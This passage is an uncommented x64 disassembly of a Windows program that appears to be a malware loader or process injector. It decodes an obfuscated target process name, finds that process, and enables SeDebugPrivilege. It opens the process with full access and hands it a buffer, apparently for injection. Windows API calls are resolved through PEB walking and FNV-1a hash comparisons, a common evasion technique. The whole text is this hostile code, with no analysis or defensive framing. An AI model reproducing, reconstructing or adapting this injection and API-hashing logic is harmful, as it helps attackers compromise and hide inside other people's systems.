movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x1400b7f78]
mov dword [rsp + 0x70], eax
cmp word [0x1400b7f7a], 0
je 0x140027ccc
mov eax, Ordinal_79
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x39
xor word [rsp + 0x64], 0x3a
xor word [rsp + 0x66], 0x3b
xor word [rsp + 0x68], 0x3c
xor word [rsp + 0x6a], 0x3d
xor word [rsp + 0x6c], 0x3e
xor word [rsp + 0x6e], 0x3f
xor word [rsp + 0x70], 0x40
xor word [rsp + 0x72], 0x41
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov esi, r15d
cmp rax, 0xffffffffffffffff
je 0x140027d90
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x2f4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x2f0], 0x238
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140027d7f
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140027d37
mov esi, dword [rbp + 0x2f8]
jmp 0x140027d7f
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140027d7f
nop dword [rax + rax]
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
cmove esi, dword [rbp + 0x2f8]
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140027d50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x140027ef6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027e26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027e26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x22a878c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027e21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027e00
cmp r8d, 0xf2651ec9
je 0x140027e2b
test r9d, r9d
jne 0x140027de0
mov rax, qword [rax]
jmp 0x140027db0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027ed6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027ed6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe0a9ebd4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027ed1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027eb0
cmp r8d, 0x2eedcfe4
je 0x140027edb
test r9d, r9d
jne 0x140027e90
mov rax, qword [rax]
jmp 0x140027e60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x198], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x198]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140027f84
mov dword [rbp + 0x240], 1
mov dword [rbp + 0x24c], 2
lea r8, [rbp + 0x244]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140027f77
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x240]
xor edx, edx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x140028106
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xaf368b40
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140028031
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140028010
cmp r8d, 0xf78c04d3
je 0x14002803b
test r9d, r9d
jne 0x140027ff0
mov rcx, qword [rcx]
jmp 0x140027fc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400280e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400280e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2ccdefd8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400280e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400280c0
cmp r8d, 0xbd482528
je 0x1400280eb
test r9d, r9d
jne 0x1400280a0
mov rax, qword [rax]
jmp 0x140028070
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xor esi, esi
mov dword [rbp + 0x1a0], esi
lea rdx, [rbp + 0x1a0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x140028138
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.14001d290
jmp 0x140028166
mov dword [rbp + 0x1b4], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x1b4]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x1b4]
cmp dword [rbp + 0x1a0], eax
je 0x1400282c6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400281f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400281f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb936f479
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400281f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400281d0
cmp r8d, 0xf260077c
je 0x1400281fb
test r9d, r9d
jne 0x1400281b0
mov rax, qword [rax]
jmp 0x140028180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400282a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400282a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd2e66678
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400282a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028280
cmp r8d, 0xaab838c8
je 0x1400282ab
test r9d, r9d
jne 0x140028260
mov rax, qword [rax]
jmp 0x140028230
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov eax, dword [str.UV_]
mov dword [rbp + 0x1a0], eax
cmp byte [0x1400b7f1b], sil
je 0x1400283b3
mov r8d, esi
cmp r13d, 2
jl 0x14002837a
movdqa xmm3, xmmword [0x1400b8260]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b82b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b82b0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
mov ecx, Ordinal_32
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b8280]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
jmp 0x1400283b3
lea r9, [rbp + 0x1a0]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140028381
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x1a0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400283d3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x78]
call fcn.140020980
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x220]
lea rcx, [0x1400c6a20]
call fcn.140046f30
nop
cmp byte [0x1400c6c30], 0
jne 0x140028576
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400284a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400284a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xce30e4d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400284a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028480
cmp r8d, 0x4f270bf0
je 0x1400284ab
test r9d, r9d
jne 0x140028460
mov rax, qword [rax]
jmp 0x140028430
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028556
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028556
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9f5f4a9d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028551
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028530
cmp r8d, 0x367f7fbd
je 0x14002855b
test r9d, r9d
jne 0x140028510
mov rax, qword [rax]
jmp 0x1400284e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x178]
call fcn.14002a140
mov r8, rax
lea rdx, [rbp + 0x1f0]
lea rcx, [0x1400c6a20]
call fcn.14003da30
nop
cmp byte [0x1400c6c30], 0
jne 0x140028726
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028656
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028656
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5b490f1a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028651
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028630
cmp r8d, 0x93982bbd
je 0x14002865b
test r9d, r9d
jne 0x140028610
mov rax, qword [rax]
jmp 0x1400285e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028706
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028706
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x93ae0ffb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028701
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400286e0
cmp r8d, 0xbed63cb
je 0x14002870b
test r9d, r9d
jne 0x1400286c0
mov rax, qword [rax]
jmp 0x140028690
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], rsi
mov rsi, qword [rbp + 0x1f0]
mov r14, qword [rbp + 0x1f8]
cmp rsi, r14
je 0x140028782
mov rbx, r14
sub rbx, rsi
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.140021e00
mov rdi, qword [rbp + 0x1d8]
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rsi
add rdi, r14
mov qword [rbp + 0x1e0], rdi
lea rdx, [rbp + 0x1d8]
mov rcx, r15
call fcn.14002ca90
test al, al
jne 0x140028856
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028836
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028836
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2a90bf19
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028831
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028810
cmp r8d, 0x2412b7f9
je 0x14002883b
test r9d, r9d
jne 0x1400287f0
mov rax, qword [rax]
jmp 0x1400287c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400288e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400288e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x298a3f8d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400288e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400288c0
cmp r8d, 0x75a62a24
je 0x1400288eb
test r9d, r9d
jne 0x1400288a0
mov rax, qword [rax]
jmp 0x140028870
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov eax, dword [str._UI__t_t]
mov dword [rsp + 0x78], eax
xor esi, esi
cmp byte [0x1400b7f4b], sil
je 0x1400289f2
mov r8d, esi
cmp r13d, 2
jl 0x1400289b9
movdqa xmm3, xmmword [0x1400b8260]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b82b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b82b0]
shufps xmm2, xmm0, 0xdd
mov ecx, 4
movd xmm0, ecx
psrad xmm2, xmm0
mov ecx, Ordinal_32
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b8280]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x1400289f2
lea r9, [rsp + 0x78]
nop
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400289c0
lea rcx, [rsp + 0x78]
call r11
mov eax, dword [0x1400b7f50]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400b7f54]
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x49], 0x39
xor byte [rsp + 0x4a], 0x3a
xor byte [rsp + 0x4b], 0x3b
xor byte [rsp + 0x4c], 0x3c
xor byte [rsp + 0x4d], 0x3d
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], reloc.WS2_32.dll_ntohs
lea rax, [rsp + 0x48]
nop dword [rax]
inc r12
cmp byte [rax + r12], 0
jne 0x140028a50
mov r8, r12
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x98]
call fcn.140020980
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x118]
lea rcx, [0x1400c6a20]
call fcn.140046f30
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140028a97
mov rax, qword [rax]
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002c0f0
lea rdx, [0x14002b370]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140028afb
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028af6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028af6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028b86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028b86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6bfbefe0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028b81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028b60
cmp r8d, 0x6a8ba0b3
je 0x140028b8b
test r9d, r9d
jne 0x140028b40
mov rax, qword [rax]
jmp 0x140028b10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x15ae
call rdx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae rax, qword [rbp + 0x220]
mov qword [rbp + 0x230], rsi
mov byte [rax], 0
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x1f8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140028c76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140028c76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x635843d9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140028c71
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140028c50
cmp r8d, 0xc9469cb9
je 0x140028c7b
test r9d, r9d
jne 0x140028c30
mov rax, qword [rax]
jmp 0x140028c00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140028cec
mov rdx, qword [rbp + 0x200]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028cd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028cd5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rsi
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140028d30
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028d2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028d2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x140028d8d
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028d88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028d88
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], 0
mov rcx, qword [rbp + 0x208]
test rcx, rcx
je 0x140028dfb
mov rdx, qword [rbp + 0x218]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028de4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028de4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rsi
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
